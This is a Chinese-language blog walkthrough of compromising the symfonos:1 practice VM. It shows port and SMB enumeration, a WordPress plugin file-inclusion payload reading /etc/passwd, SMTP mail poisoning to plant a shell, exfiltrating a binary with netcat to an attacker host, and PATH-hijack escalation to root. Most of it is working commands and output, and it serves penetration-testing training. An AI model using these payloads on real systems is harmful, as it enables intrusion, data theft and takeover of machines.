• Linux symfonos


    信息搜集

    https://yutianqaq.github.io/
    赛博雨天

    PORT    STATE SERVICE     VERSION
    22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
    | ssh-hostkey: 
    |   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
    |   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
    |_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
    25/tcp  open  smtp        Postfix smtpd
    |_ssl-date: TLS randomness does not represent time
    | ssl-cert: Subject: commonName=symfonos
    | Subject Alternative Name: DNS:symfonos
    | Not valid before: 2019-06-29T00:29:42
    |_Not valid after:  2029-06-26T00:29:42
    |_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
    80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
    |_http-title: Site doesn't have a title (text/html).
    |_http-server-header: Apache/2.4.25 (Debian)
    139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
    Service Info: Hosts:  symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    smb

    smbclient -L 192.168.31.33
    Password for [WORKGROUP\kali]:
    
            Sharename       Type      Comment
            ---------       ----      -------
            print$          Disk      Printer Drivers
            helios          Disk      Helios personal share
            anonymous       Disk      
            IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    smbclient //192.168.31.33/anonymous
    Password for [WORKGROUP\kali]:
    Try "help" to get a list of possible commands.
    smb: \> dir
      .                                   D        0  Fri Jun 28 21:14:49 2019
      ..                                  D        0  Fri Jun 28 21:12:15 2019
      attention.txt                       N      154  Fri Jun 28 21:14:49 2019
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    下载得到内容为

    cat attention.txt 
    
    Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! 
    
    Next person I find using one of these passwords will be fired!
    
    -Zeus
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    smbclient //192.168.31.33/helios -U helios
    Password for [WORKGROUP\helios]:
    Try "help" to get a list of possible commands.
    smb: \> dir
      .                                   D        0  Fri Jun 28 20:32:05 2019
      ..                                  D        0  Fri Jun 28 20:37:04 2019
      research.txt                        A      432  Fri Jun 28 20:32:05 2019
      todo.txt                            A       52  Fri Jun 28 20:32:05 2019
    
                    19994224 blocks of size 1024. 17304992 blocks available
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    得到内容为

    cat research.txt todo.txt 
    Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.
    
    1. Binge watch Dexter
    2. Dance
    3. Work on /h3l105
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    漏洞利用

    访问网站目录是一个 wordpress

    扫描

    在这个版本中有文件包含漏洞

    验证

    ** Proof of Concept **
    http:///wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
    
    • 1
    • 2

    view-source:http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

    stmp 写入shell

    nc 192.168.31.33 25 
    220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
    mail from: test@a.com
    250 2.1.0 Ok
    rcpt to: helios@symfonos.localdomain
    250 2.1.5 Ok
    data 
    354 End data with .
    test:
    
    .
    250 2.0.0 Ok: queued as 0891E40B8C
    quit
    221 2.0.0 Bye
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    find / -user root -perm -4000 -print 2>/dev/null

    find / -user root -perm -4000 -print 2>/dev/null
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/openssh/ssh-keysign
    /usr/bin/passwd
    /usr/bin/gpasswd
    /usr/bin/newgrp
    /usr/bin/chsh
    /usr/bin/chfn
    /opt/statuscheck
    /bin/mount
    /bin/umount
    /bin/su
    /bin/ping
    helios@symfonos:/home$ /opt/statuscheck
    /opt/statuscheck
    HTTP/1.1 200 OK
    Date: Wed, 03 Aug 2022 13:35:19 GMT
    Server: Apache/2.4.25 (Debian)
    Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
    ETag: "148-58c6b9bb3bc5b"
    Accept-Ranges: bytes
    Content-Length: 328
    Vary: Accept-Encoding
    Content-Type: text/html
    
    helios@symfonos:/home$ cd /opt
    cd /opt
    helios@symfonos:/opt$ ls
    ls
    statuscheck
    helios@symfonos:/opt$ ls -al
    ls -al
    total 20
    drwxr-xr-x  2 root root 4096 Jun 28  2019 .
    drwxr-xr-x 22 root root 4096 Jun 28  2019 ..
    -rwsr-xr-x  1 root root 8640 Jun 28  2019 statuscheck
    helios@symfonos:/opt$ cat statuscheck | nc 192.168.31.134 1234
    cat statuscheck | nc 192.168.31.134 1234
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    将文件传输至 kali,分析文件

    是没有使用绝对路径的来执行命令

    下面为环境变量提权

    helios@symfonos:/opt$ cd /tmp
    cd /tmp
    helios@symfonos:/tmp$ echo "chmod u+s /bin/bash" > curl
    echo "chmod u+s /bin/bash" > curl
    helios@symfonos:/tmp$ chmod 777 curl
    chmod 777 curl
    helios@symfonos:/tmp$ export PATH=/tmp:$PATH
    export PATH=/tmp:$PATH
    helios@symfonos:/tmp$ /opt/statuscheck
    /opt/statuscheck
    helios@symfonos:/tmp$ ls -l /bin/bash
    ls -l /bin/bash
    -rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    ROOT

    helios@symfonos:/tmp$ /bin/bash -p
    /bin/bash -p
    bash-4.4# id
    id
    uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
    bash-4.4# cat proof.txt
    cat proof.txt
    
            Congrats on rooting symfonos:1!
    
                     \ __
    --==/[})))==*
                     / \ '          ,|
                        `\`\      //|                             ,|
                          \ `\  //,/'                           -~ |
       )             _-~~~\  |/ / |'|                       _-~  / ,
      ((            /' )   | \ / /'/                    _-~   _/_-~|
     (((            ;  /`  ' )/ /''                 _ -~     _-~ ,/'
     ) ))           `~~\   `\\/'/|'           __--~~__--\ _-~  _/, 
    ((( ))            / ~~    \ /~      __--~~  --~~  __/~  _-~ /
     ((\~\           |    )   | '      /        __--~~  \-~~ _-~
        `\(\    __--(   _/    |'\     /     --~~   __--~' _-~ ~|
         (  ((~~   __-~        \~\   /     ___---~~  ~~\~~__--~ 
          ~~\~~~~~~   `\-~      \~\ /           __--~~~'~~/
                       ;\ __.-~  ~-/      ~~~~~__\__---~~ _..--._
                       ;;;;;;;;'  /      ---~~~/_.-----.-~  _.._ ~\     
                      ;;;;;;;'   /      ----~~/         `\,~    `\ \        
                      ;;;;'     (      ---~~/         `:::|       `\\.      
                      |'  _      `----~~~~'      /      `:|        ()))),      
                ______/\/~    |                 /        /         (((((())  
              /~;;.____/;;'  /          ___.---(   `;;;/             )))'`))
             / //  _;______;'------~~~~~    |;;/\    /                ((   ( 
            //  \ \                        /  |  \;;,\                 `   
           (<_    \ \                    /',/-----'  _> 
            \_|     \\_                 //~;~~~~~~~~~ 
                     \_|               (,~~   
                                        \~\
                                         ~~
    
            Contact me via Twitter @zayotic to give feedback!
    
    
    bash-4.4# 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
  • 相关阅读:
    APISpace IP归属地查询接口案例代码
    【特别提醒】订阅此专栏的用户请先阅读本文再决定是否需要购买此专栏
    军品-鉴定文件清单
    如何将自身的商标从“知产”转变为“资产”?
    C语言每日一题(12)猜排名
    HDFS基本操作命令
    WordArt Designer:基于用户驱动与大语言模型的艺术字生成
    JS高级:执行上下文
    C++ 删除链表的倒数第N个结点
    漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
  • 原文地址:https://blog.csdn.net/yutianovo/article/details/136703548